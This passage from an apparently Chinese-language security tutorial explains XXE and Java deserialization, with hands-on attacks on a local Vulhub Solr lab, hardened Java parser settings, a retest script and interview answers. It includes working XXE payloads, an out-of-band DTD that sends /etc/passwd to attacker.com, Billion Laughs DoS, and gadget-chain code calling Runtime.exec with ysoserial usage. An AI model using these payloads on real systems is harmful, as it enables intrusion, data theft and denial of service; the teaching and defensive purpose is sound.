| ysoserial | 一个开源工具名(作者 Chris Frohoff) | 反序列化漏洞的“payload 生成器“,你告诉它用哪条链(CommonsCollections6)和要执行的命令,它输出一段二进制 |
相当于“炸弹图纸生成器”,输入目标型号和引爆指令,输出成品 |
| CC 链 | CommonsCollections Chain | 利用 Apache Commons-Collections 库(Java 里极其常用的工具库)拼出来的 Gadget Chain。因为用得多,所以最经典 | — |
| JNDI | Java Naming and Directory Interface | Java 的一套“按名字查找资源“的接口。你可以查 "java:comp/env/jdbc/db" 拿到数据库连接,也可以查 "ldap://evil.com/x" 去远程下载一个类 |
像电话查号台:你报名字,它给你号码。但问题是——它可以给你一个外地的、恶意的号码,你还会照着打过去 |
| LDAP / RMI | 两种目录/远程调用协议 | Log4Shell 里最常被 JNDI 用来“远程取恶意类”的两个协议。ldap:// 是轻量目录访问协议,rmi:// 是 Java 远程方法调用 |
都是“送货上门”的渠道,只是运输公司不同 |
| XXE | XML External Entity,XML 外部实体注入 | 服务器解析 XML 时,XML 里写了一句“请把 /etc/passwd 这个文件的内容放到这里”,服务器照做了 |
你让助理“把这份文件里提到的所有附件都取来”,结果附件清单里写着“去档案室把人事档案拿来” |
| 十亿笑 | Billion Laughs Attack | 一种 DoS 攻击:XML 里定义嵌套实体,一层套一层,展开后占用内存爆炸,服务器直接卡死 | 一句话:“A 是哈哈,B 是 10 个 A,C 是 10 个 B……“套 9 层就是十亿个”哈“ |
| OOB | Out-of-Band,带外 | 漏洞不会在响应包里直接回显数据,攻击者改用另一种渠道把数据带出来(比如让服务器去请求攻击者的 DNS 服务器,数据藏在域名里) | 考试不能说话,但你可以用咳嗽的次数传递答案 |
| SpEL | Spring Expression Language | Spring 的表达式语言,就是 @Value("#{...}") 和 @PreAuthorize("hasRole('ADMIN')") 里那个 #{...} |
一个“能在字符串里写程序”的小引擎 |
| autotype | Fastjson 的一个功能 | JSON 里写 "@type":"com.xxx.User",Fastjson 就按这个名字去加载类并还原对象 |
快递单上写“收件人是医生”,快递员就真去找个医生来当收件人 |
6.1 XXE:XML 也能读文件
6.1.1 先搞懂 XML 的“实体”是什么
XML 有一个功能叫实体(Entity),类似编程语言里的“变量/宏”:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY name "朱宏晖"> <!-- 定义一个内部实体,值是固定字符串 -->
]>
<root>
<user>&name;</user> <!-- 引用它,等价于 <user>朱宏晖</user> -->
</root>
危险的地方在于:实体不仅能写死字符串,还能用 SYSTEM 关键字指向一个外部资源:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd"> <!-- 指向服务器本地文件 -->
]>
<root>
<user>&xxe;</user> <!-- 这里会变成 /etc/passwd 的全部内容 -->
</root>
这就是 XXE 的全部原理——只有两行。
一句话定义:XXE = 服务器在解析攻击者可控的 XML 时,允许 XML 里通过
SYSTEM实体引用外部资源, 于是攻击者可以让服务器读本地文件 / 打内网 / 探测端口 / 造成 DoS。
生活类比:
你去政府部门办事,表格上有一栏“附件清单”,工作人员会按清单去档案室把所有附件取来。 你在清单上写“附件 1:市委书记的工资单”。工作人员没多想,就真去取了—— 因为他的工作就是“清单上写什么就去取什么”,他没有“这个不该给你”的判断。
6.1.2 XXE 能干的四件事
| 能力 | payload 关键片段 | 说明 |
|---|---|---|
| ① 读本地文件 | <!ENTITY x SYSTEM "file:///etc/passwd"> |
最基础,能读任何运行进程有权限读的文件(源码、配置、密钥) |
| ② SSRF 打内网 | <!ENTITY x SYSTEM "http://192.168.1.1/admin"> |
让服务器去请求内网地址,结果在响应里回显(比第五章的 SSRF 更狠,因为它自带回显) |
| ③ 探测端口 | <!ENTITY x SYSTEM "http://127.0.0.1:3306"> |
根据报错信息不同判断端口是否开放(Connection refused vs 超时) |
| ④ DoS | 十亿笑(见 6.1.3) | 内存爆炸 |
| ⑤ OOB 带外 | <!ENTITY % x SYSTEM "http://attacker.com/?d=%file;"> |
无回显时,把文件内容藏在 URL 里发给攻击者服务器 |
6.1.3 十亿笑(Billion Laughs):一层套一层的爆炸
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "ha">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!-- 10 个 -->
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!-- 100 个 -->
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!-- 1000 个 -->
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!-- 10000 -->
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!-- 10万 -->
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!-- 100万 -->
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!-- 1000万 -->
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!-- 1亿 -->
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> <!-- 10亿 -->
]>
<lolz>&lol9;</lolz>
为什么叫“十亿笑”:&lol9; 展开后是 10 亿个 “ha”,约 2GB 内存(每个 “ha” 在 Java 里作为字符串对象约占 40+ 字节,实际会先 OOM)。
这个文件只有 1KB,却能让服务器 OOM——这就是它的恐怖之处:极小的输入,极大的资源消耗。
名词:DoS / DoS 攻击
DoS(Denial of Service,拒绝服务):让服务器无法为正常用户提供服务。 生活类比:你打不通客服电话,不是因为客服下班了,而是因为有人雇了一千个人同时占着线。 DDoS(Distributed DoS)是加强版:从很多台机器同时发起,所以叫“分布式”。
6.1.4 动手:用 Vulhub 起一个 XXE 靶场(Apache Solr CVE-2017-12629)
名词:Apache Solr —— 一个开源的企业级搜索引擎(基于 Lucene), 很多公司的“站内搜索”“商品搜索”就是它。它用 XML 做配置和数据导入接口。 CVE-2017-12629 是 Solr 的 XML 更新接口存在 XXE。
# 1. 进入 Vulhub 的 Solr XXE 目录
cd ~/vulhub/solr/CVE-2017-12629-RCE # 注意:这个目录名里带 RCE,因为它能打到 RCE
# 2. 启动(只绑 127.0.0.1!)
docker compose up -d
# 3. 确认起来了
docker compose ps
# 预期输出:
# NAME COMMAND SERVICE STATUS PORTS
# cve-2017-12629-rce-solr-1 "docker-entrypoint.s…" solr Up 127.0.0.1:8983->8983/tcp
# 4. 探活
curl -s "http://127.0.0.1:8983/solr/admin/cores?action=STATUS" | head -20
# 预期能看到 JSON,里面有 "name":"demo" 之类的 core 信息
攻击第一步:读文件(有回显)
# 构造 XXE payload:读 /etc/passwd
curl -X POST "http://127.0.0.1:8983/solr/demo/update" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<doc>
<field name="id">1</field>
</doc>'
# 先确认正常 XML 能提交(预期返回 0 或成功的 JSON)
# 真正的 XXE payload
cat > /tmp/xxe_read.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<id>&xxe;</id>
</root>
EOF
curl -X POST "http://127.0.0.1:8983/solr/demo/update" \
-H "Content-Type: application/xml" \
--data-binary @/tmp/xxe_read.xml
预期输出(节选,注意错误信息里泄露了文件内容):
{
"responseHeader":{"status":400,"QTime":12},
"error":{
"msg":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:...",
"code":400
}
}
⚠️ 注意这个细节:这个 XXE 不是把内容“返回”给你,而是把内容放进了报错信息里。 这属于报错型 XXE——和 SQL 的报错注入是一个思路:服务器没打算给你看,但它的报错信息里带出来了。
这正是“生产环境必须关闭详细错误回显“的又一个铁证。
攻击第二步:SSRF 打内网(探测端口)
cat > /tmp/xxe_ssrf.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8983/solr/admin/cores?action=STATUS">
]>
<root><id>&xxe;</id></root>
EOF
curl -X POST "http://127.0.0.1:8983/solr/demo/update" \
-H "Content-Type: application/xml" \
--data-binary @/tmp/xxe_ssrf.xml
如何通过报错判断端口状态(这是面试常问的“怎么盲打”):
| 目标端口状态 | 报错信息特征 |
|---|---|
| 开放且返回数据 | 报错里带回了 HTTP 响应内容 |
| 开放但没内容 | 报错是 XML 解析错误(如 “Content is not allowed in prolog”) |
| 关闭 | 报错是 Connection refused(连接被拒绝) |
| 被防火墙丢包 | 请求卡住直到超时,然后报 timeout |
这就是一个纯内网的端口扫描器——而且是从服务器内部扫的,绕过了所有外网防火墙。
攻击第三步:OOB 带外(无回显时把数据偷出来)
很多场景下 XXE 没有任何回显(服务器解析完就丢掉了)。这时候要用 OOB:
<!-- 先定义一个"参数实体" %file,内容是 /etc/passwd -->
<!-- 再定义一个外部 DTD(放在攻击者的服务器上) -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root/>
攻击者服务器上的 evil.dtd:
<!-- attacker.com/evil.dtd -->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;
执行链条(看图更好懂):
① 服务器解析 XML
│
├─② %file = 读 /etc/passwd 的内容(存进内存,还没发出去)
│
├─③ %dtd = 去 attacker.com 下载 evil.dtd(★ 这一步攻击者服务器会收到一条访问日志,证明 XML 被解析了)
│
└─④ 执行 evil.dtd 里的 %all,定义 send 实体:
"去请求 http://attacker.com/?data=<passwd 内容>"
│
⑤ 引用 &send; → 服务器真的发起了这个请求
│
⑥ 攻击者查看自己的 Nginx 访问日志,在 URL 参数里看到了 /etc/passwd 的全部内容
名词:参数实体(Parameter Entity) —— XML 里
%name;这种带百分号的实体。 它和普通实体&name;的区别是:参数实体只能在 DTD 内部使用(就是<!DOCTYPE [...]>那个方括号里), 普通实体是在 XML 正文里用。OOB XXE 必须用它,因为要在 DTD 里嵌套定义。生活类比:普通实体是“发给客户的邮件正文里能用的变量”, 参数实体是“邮件模板内部用的变量“——只有写模板的人能用,收件人看不到。
启动一个本地的“攻击者服务器”来看效果:
# 开一个简易 HTTP 服务(Python),充当 attacker.com
mkdir -p /tmp/attacker && cd /tmp/attacker
cat > evil.dtd <<'EOF'
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000/?data=%file;'>">
%all;
EOF
python3 -m http.server 8000 --bind 0.0.0.0
# 另开一个终端执行 XXE,然后回到这个终端看日志
预期看到的访问日志:
127.0.0.1 - - [04/Sep/2026 02:30:11] "GET /evil.dtd HTTP/1.1" 200 -
127.0.0.1 - - [04/Sep/2026 02:30:11] "GET /?data=root:x:0:0:root:/root:/bin/bash%0Adaemon:x:1:1:daemon... HTTP/1.1" 200 -
第二条日志的
data=后面就是/etc/passwd的内容(换行被 URL 编码成%0A)。 这就是“无回显也能拖数据”的 OOB 技术。
6.1.5 十亿笑 DoS 复现
cat > /tmp/billion.xml <<'EOF'
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "ha">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
EOF
# 观察内存变化(另开终端)
docker stats cve-2017-12629-rce-solr-1
# 发起攻击
curl -X POST "http://127.0.0.1:8983/solr/demo/update" \
-H "Content-Type: application/xml" \
--data-binary @/tmp/billion.xml
预期现象:Solr 进程内存飙升、CPU 打满、请求超时,甚至被 Docker 的 OOM Killer 杀掉。
# 验证是否 OOM
docker inspect cve-2017-12629-rce-solr-1 --format '{{.State.OOMKilled}}'
# 输出 true 表示被 OOM 杀掉了
6.1.6 XXE 的修复:三行代码 + 五个配置
❌ 漏洞代码(Java 里最常见的写法)
// ❌ 危险:DocumentBuilderFactory 默认配置在老版本 JDK 上允许外部实体
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xml))); // ← 直接解析,XXE 生效
✅ 修复代码(生产级,逐行解释)
import javax.xml.XMLConstants;
import javax.xml.parsers.DocumentBuilderFactory;
public Document safeParseXml(String xml) throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 【防线 1】完全禁用 DOCTYPE 声明 —— 这一条就能挡住 99% 的 XXE
// 因为所有 XXE 都必须在 <!DOCTYPE [...] > 里定义外部实体,禁了 DOCTYPE 就无处定义
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 【防线 2】禁用外部实体(纵深防御,防止 JDK 实现差异导致防线 1 失效)
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// 【防线 3】禁用外部 DTD(就是 <ENTITY % dtd SYSTEM "http://..."> 那种)
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
// 【防线 4】禁用 XInclude(另一种加载外部资源的方式,容易被忽略)
factory.setXIncludeAware(false);
// 【防线 5】开启安全处理(JDK 的兜底开关,会附带一堆安全默认值)
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
// 【防线 6】设置一个"什么也不返回"的 EntityResolver —— 就算前面都漏了,实体也取不到东西
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
DocumentBuilder builder = factory.newDocumentBuilder();
// 【防线 7】实体解析器:任何外部实体请求都返回空
builder.setEntityResolver((publicId, systemId) -> new InputSource(new StringReader("")));
return builder.parse(new InputSource(new StringReader(xml)));
}
XML 解析库的修复速查表(不同库写法不同,面试常被问到“你用的库怎么防”):
| 库 | 修复方式 |
|---|---|
| DocumentBuilderFactory | 见上面 7 条防线 |
| SAXParserFactory | spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) |
| XMLInputFactory(StAX) | factory.setProperty(XMLInputFactory.SUPPORT_DTD, false); + factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); |
| TransformerFactory | factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); |
| Validator / SchemaFactory | factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); |
| dom4j / JDOM | SAXReader reader = new SAXReader(false); 或 reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) |
| Jackson XML | XmlMapper 底层是 StAX,配置同上;或干脆 不用 XML 用 JSON |
最根本的修复建议:
如果可以,就别用 XML。 新项目一律用 JSON。 JSON 没有“实体”这个概念,天然免疫 XXE。 只有在对接银行、保险、政务这些“老系统只认 XML”的场景才不得不用——那时候上面 7 条防线必须全上。
6.1.7 复测:验证修复是否生效
cat > /tmp/verify_xxe.sh <<'SCRIPT'
#!/bin/bash
# XXE 修复复测脚本
TARGET="${1:-http://127.0.0.1:8080}" # 换成你修复后的接口地址
XML_EP="${2:-/api/xml/parse}"
pass=0; fail=0
check() { # check "描述" "期望包含/不包含" "实际响应"
if echo "$3" | grep -qiF "$2"; then
echo " ❌ 未通过:$1 —— 响应里出现了 [$2]"; fail=$((fail+1))
else
echo " ✅ 通过:$1"; pass=$((pass+1))
fi
}
echo "=== XXE 复测(共 6 项)==="
# 1. 读 /etc/passwd(有回显型)
R=$(curl -s -X POST "$TARGET$XML_EP" -H 'Content-Type: application/xml' \
--data-binary '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>')
check "1. file:///etc/passwd 读文件" "root:x:0:0" "$R"
# 2. 读应用配置文件
R=$(curl -s -X POST "$TARGET$XML_EP" -H 'Content-Type: application/xml' \
--data-binary '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///app/application.yml">]><r>&x;</r>')
check "2. file:// 读 application.yml" "password" "$R"
# 3. SSRF 打内网
R=$(curl -s -X POST "$TARGET$XML_EP" -H 'Content-Type: application/xml' \
--data-binary '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "http://127.0.0.1:8080/actuator/env">]><r>&x;</r>')
check "3. http:// SSRF 打内网" "actuator" "$R"
# 4. 外部 DTD(OOB 的前置条件)
R=$(curl -s -X POST "$TARGET$XML_EP" -H 'Content-Type: application/xml' \
--data-binary '<?xml version="1.0"?><!DOCTYPE r SYSTEM "http://127.0.0.1:8000/evil.dtd"><r/>')
check "4. 加载外部 DTD" "evil" "$R"
# 5. 十亿笑 DoS —— 检查响应时间是否异常(超过 5 秒说明还在解析)
START=$(date +%s)
curl -s -m 10 -X POST "$TARGET$XML_EP" -H 'Content-Type: application/xml' \
--data-binary @/tmp/billion.xml > /dev/null 2>&1
END=$(date +%s)
if [ $((END-START)) -gt 5 ]; then
echo " ❌ 未通过:5. 十亿笑 DoS —— 耗时 $((END-START)) 秒(说明仍在展开实体)"; fail=$((fail+1))
else
echo " ✅ 通过:5. 十亿笑 DoS(耗时 $((END-START)) 秒,被快速拒绝)"; pass=$((pass+1))
fi
# 6. 正常 XML 仍要能用(防止"修过头"把功能搞坏了)
R=$(curl -s -X POST "$TARGET$XML_EP" -H 'Content-Type: application/xml' \
--data-binary '<?xml version="1.0"?><root><id>123</id></root>')
if echo "$R" | grep -qE "123|success|\"code\":200"; then
echo " ✅ 通过:6. 正常 XML 业务功能未被破坏"; pass=$((pass+1))
else
echo " ❌ 未通过:6. 正常 XML 被误杀(响应:$R)"; fail=$((fail+1))
fi
echo ""
echo "结果:通过 $pass / 6,未通过 $fail"
[ $fail -eq 0 ] && echo "🎉 XXE 修复验证通过" || echo "⚠️ 还有 $fail 项没修好"
SCRIPT
chmod +x /tmp/verify_xxe.sh
注意第 6 项:这是很多人忽略的——修安全不能把业务修坏。 我见过有团队为了防 XXE 直接把 XML 接口下线,结果下游对接收不了。
6.1.8 面试怎么讲(30 秒口述版)
“XXE 是 XML 外部实体注入。原理是 XML 规范允许在 DOCTYPE 里用 SYSTEM 关键字定义外部实体, 服务器解析时会真的去加载这个资源。攻击者就写
file:///etc/passwd读文件, 写http://内网IP打内网,甚至通过嵌套实体做十亿笑 DoS。我们项目之前用 dom4j 解析上游推送的 XML,我做了代码审计发现没有禁用外部实体, 就补了三层防护:第一层
disallow-doctype-decl直接禁掉 DOCTYPE, 第二层禁用外部通用实体和参数实体,第三层加了一个返回空的 EntityResolver 兜底。 另外新接口我们一律改成 JSON,从根上不会出这个问题。顺便提一句,XXE 能打内网这一点比读文件更危险,因为它从内部绕过了所有外网防火墙, 所以我们还限制了应用进程的网络出站,只允许访问白名单地址。“
追问准备:
| 追问 | 怎么答 |
|---|---|
| “十亿笑和 XXE 是一回事吗?” | 不是。十亿笑是利用 XXE 的实体嵌套机制做 DoS,属于 XXE 的一种利用方式,不是漏洞本身 |
| “JSON 有没有类似 XXE 的问题?” | JSON 没有实体机制,天然安全。但 YAML 有——snakeyaml 的 !!javax.script.ScriptEngineManager 能 RCE,原理和反序列化类似 |
| “怎么快速判断一个系统有没有 XXE?” | 找所有接收 XML 的接口(SOAP、WebService、文件上传里的 Excel/docx 本质是 zip+xml、SVG 图片也是 XML),发一个带外 DTD 的 payload,看自己的 DNS/HTTP 服务器有没有收到请求 |
| “docx/xlsx 会触发 XXE 吗?” | 会! 它们是 zip 包,里面全是 XML。如果用户上传的 docx 被服务端用 XML 解析器处理(比如 POI 读内容),就能触发。这也是“文件上传”和“XXE”的交汇点 |
6.2 Java 反序列化:为什么“还原对象”能执行代码
6.2.1 先理解序列化在干什么
序列化(Serialization):把内存里的 Java 对象变成一串字节,方便存到文件/Redis/网络传输。 反序列化(Deserialization):把这串字节还原成对象。
// 序列化:对象 → 字节
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(new User("朱宏晖", 18)); // 写进去
byte[] bytes = bos.toByteArray();
// bytes 大概长这样(十六进制):
// aced0005 7372 0018 636f 6d2e 6465 6d6f 2e55 7365 72 ...
// ↑ ↑ ↑ ↑
// │ │ │ └─ 类名长度 0x18=24
// │ │ └─ TC_OBJECT 标记
// │ └─ 流版本号 5
// └─ 魔数(Magic Number),Java 序列化流的固定开头,看到 aced 就知道是 Java 序列化数据
// 反序列化:字节 → 对象
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
User u = (User) ois.readObject(); // ★ 危险就在这里
魔数 aced 0005 的实战意义:
任何时候你在 HTTP 请求体、Redis、Cookie、消息队列里看到
aced0005或者 base64 后的rO0AB, 就说明这里有 Java 原生序列化数据存在——也就意味着可能存在反序列化漏洞。 这是红队最常用的“探测指纹”。记忆口诀:“看到 rO0AB,先想反序列化”。
6.2.2 漏洞的根因:readObject() 是“自动执行”的
关键问题:为什么还原一个数据能执行代码?
答案藏在 readObject() 里。当你在类里自定义 readObject 方法时,反序列化会自动调用它:
public class User implements Serializable {
private String name;
// ★ 反序列化时,JVM 会自动调用这个方法(不需要你显式调用!)
private void readObject(ObjectInputStream in) throws Exception {
in.defaultReadObject(); // 先按默认规则还原字段
Runtime.getRuntime().exec("calc"); // 然后……执行任意命令
}
}
但现实中没人会这么写代码。所以攻击者要面临一个问题: 目标服务器上没有我写的恶意类,我怎么让它执行我的命令?
答案就是 Gadget Chain(利用链)。
6.2.3 Gadget Chain:用“正版零件”拼出的钥匙
生活类比(重要,面试就讲这个):
假设有一个酒店机器人,它只会做一件死板的事: “收到一张指令卡,就按卡上的步骤做”。 机器人本身是安全的(它不会自己做坏事),指令卡是客人写的。
正常指令卡:
[去前台] → [取房卡] → [送到 302 房]但酒店里还有这些“正版的、合法的服务”:
- 服务 A:打电话给任意号码(本来用于叫醒服务)
- 服务 B:从任意房间取东西(本来用于送餐)
- 服务 C:打开任意房间的门(本来用于保洁)
攻击者写的指令卡:
[打电话给 110 说 302 房有炸弹] → [等所有人撤离] → [打开 302 房] → [取走保险柜]机器人执行的每一步都是“合法的服务”,但组合起来就是一次完美的犯罪。 你不能怪任何一个单独的服务不安全——问题在于机器人不该执行客人写的任意指令。
放到 Java 里:
| 类比 | Java 对应 |
|---|---|
| 酒店机器人 | JVM 的反序列化机制(ObjectInputStream.readObject()) |
| 指令卡 | 攻击者构造的序列化字节流 |
| 正版服务 A/B/C | Apache Commons-Collections 里的 InvokerTransformer、ChainedTransformer、TransformedMap 等正常类 |
| 犯罪 | 最终调用 Runtime.getRuntime().exec(cmd) |
最关键的一句话(面试原话背下来):
反序列化漏洞里,攻击者没有往服务器上“注入”任何新代码。 他只是精心构造了一段数据,让服务器上已经存在的、合法的、人畜无害的类, 按照他设计的顺序被调用,最后凑巧拼出了
Runtime.exec()。 所以这类漏洞无法通过“我不写危险代码”来避免——漏洞在你的依赖库里。
6.2.4 CommonsCollections 链拆解(CC1 链,逐层看懂)
这是最经典的一条链。我把它拆到最细,你面试时讲这个会非常加分。
链上的四个“零件”(都来自 commons-collections 库):
// 【零件 1】InvokerTransformer —— 核心武器
// 作用:通过"反射"调用任意对象的任意方法
// 通俗说:它把 "方法名" 当成数据存起来,需要时再执行
Transformer t = new InvokerTransformer(
"exec", // 要调用的方法名
new Class[]{String.class}, // 方法参数类型
new Object[]{"whoami"} // 方法参数值
);
t.transform(Runtime.getRuntime()); // 等价于 Runtime.getRuntime().exec("whoami")
名词:反射(Reflection) —— Java 的一种机制,允许程序在运行时根据“方法名的字符串”去调用方法。 正常情况下你写代码
obj.exec("whoami")是编译期就确定的;反射是obj.getClass().getMethod("exec")这样运行时才查。 反射的危险性:一旦“方法名”可以被外部数据控制,就等价于“可以调用任何方法”。
// 【零件 2】ChainedTransformer —— 把多个零件串成链
// 作用:把若干 Transformer 串起来,前一个的输出作为后一个的输入
Transformer[] chain = new Transformer[]{
new ConstantTransformer(Runtime.class), // ① 产出 Runtime.class 这个对象
new InvokerTransformer("getMethod", // ② 反射拿到 Runtime.getRuntime 方法
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", // ③ 调用它,拿到 Runtime 实例
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", // ④ 执行 exec
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer chained = new ChainedTransformer(chain);
chained.transform(null); // 一条链跑完,计算器弹出来了
为什么要绕这么大弯(①②③④ 四步)? 因为
Runtime这个类没有实现 Serializable(不能被序列化), 攻击者没法直接把一个Runtime实例塞进序列化数据里。 所以只能存Runtime.class(Class 对象是可以序列化的), 然后在反序列化过程中用反射一步步把它“激活”。 这个“曲线救国”的设计,正是反序列化漏洞最有技术含量的地方。
// 【零件 3】TransformedMap / LazyMap —— 触发器
// 作用:当这个 Map 被"修改"(put)时,自动调用上面那条链
Map inner = new HashMap();
Map outer = TransformedMap.decorate(inner, null, chained);
outer.put("key", "value"); // ★ 只要 put 一次,整条链就跑了
// 【零件 4】AnnotationInvocationHandler —— 入口(Entry Point)
// 作用:JDK 自带的类,它的 readObject() 方法里会对 Map 做 put 操作
// 于是:反序列化 → 自动调用 readObject → 自动 put → 自动触发链 → RCE
完整链条图:
攻击者构造序列化数据
│
▼
ObjectInputStream.readObject()
│
▼
AnnotationInvocationHandler.readObject() ← JDK 自带类,反序列化自动调用
│ (它的 readObject 里会 memberValues.setValue(...))
▼
TransformedMap.setValue() / LazyMap.get() ← commons-collections 的类
│ (装饰器的特性:修改 Map 时自动调用 transform)
▼
ChainedTransformer.transform() ← 开始跑链
│
├─① ConstantTransformer → 产出 Runtime.class
├─② InvokerTransformer → Runtime.class.getMethod("getRuntime")
├─③ InvokerTransformer → invoke() → 得到 Runtime 实例
└─④ InvokerTransformer → Runtime.exec("calc")
│
▼
💥 RCE
为什么用
AnnotationInvocationHandler当入口? 因为它满足三个条件:① 是 JDK 自带的(每台机器都有,不需要额外依赖); ② 实现了 Serializable;③ 它的readObject()里会自动对 Map 做操作。 这三条合起来,它就成了完美的“导火索”。名词:Entry Point / 入口点 —— 利用链的“第一张多米诺骨牌”。 它必须满足“反序列化时会被自动调用”,通常是
readObject()、readResolve()、hashCode()、equals()、toString()这类隐式调用的方法。
6.2.5 动手:用 ysoserial 生成 payload
ysoserial 是什么:反序列化 payload 的“生成器”。你告诉它:
- 用哪条链(
CommonsCollections1、CommonsCollections6、CommonsBeanutils1…) - 要执行什么命令(
bash -c '...')
它输出一段二进制字节流,你把它发给目标,就 RCE 了。
# 下载(如果第一章没装)
mkdir -p ~/tools && cd ~/tools
curl -L -o ysoserial.jar \
"https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar"
ls -lh ysoserial.jar # 预期 ~40MB
# 看看它支持哪些链
java -jar ysoserial.jar
# 输出(节选):
# Payload Authors Dependencies
# ------ ------- ------------
# BeanShell1 @pwntester bsh:2.0b5
# CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1
# CommonsCollections1 @frohoff commons-collections:3.1
# CommonsCollections5 @frohoff commons-collections:3.1
# CommonsCollections6 @frohoff commons-collections:3.1
# CommonsCollections7 @frohoff commons-collections:3.1
# Groovy1 @frohoff groovy:2.3.9
# JDK7u21 @frohoff
# Spring1 @frohoff spring-core:4.1.4, spring-beans:4.1.4
# URLDNS @gebl -- ★ 这个不执行命令,只做 DNS 探测(无害验证用)
生成第一个 payload(URLDNS —— 安全无害的验证链)
# URLDNS 是最适合"验证漏洞存在但不想造成危害"的链
# 它只让服务器去解析一个 DNS 域名,不做任何坏事
# 去 dnslog.cn 或 ceye.io 申请一个临时域名,比如 abc123.dnslog.cn
java -jar ~/tools/ysoserial.jar URLDNS "http://abc123.dnslog.cn" > /tmp/urldns.ser
# 看看生成的字节(注意开头的 aced0005)
xxd /tmp/urldns.ser | head -2
# 预期:
# 00000000: aced 0005 7372 0011 6a61 7661 2e75 7469 ....sr..java.uti
# ↑ "java.uti..." 就是 java.util.HashMap 的类名
# base64 后看看(记住 rO0AB 这个前缀)
base64 -w0 /tmp/urldns.ser | head -c 60
# 预期:rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3Rv...
生成真正能执行命令的 payload(CC6 链)
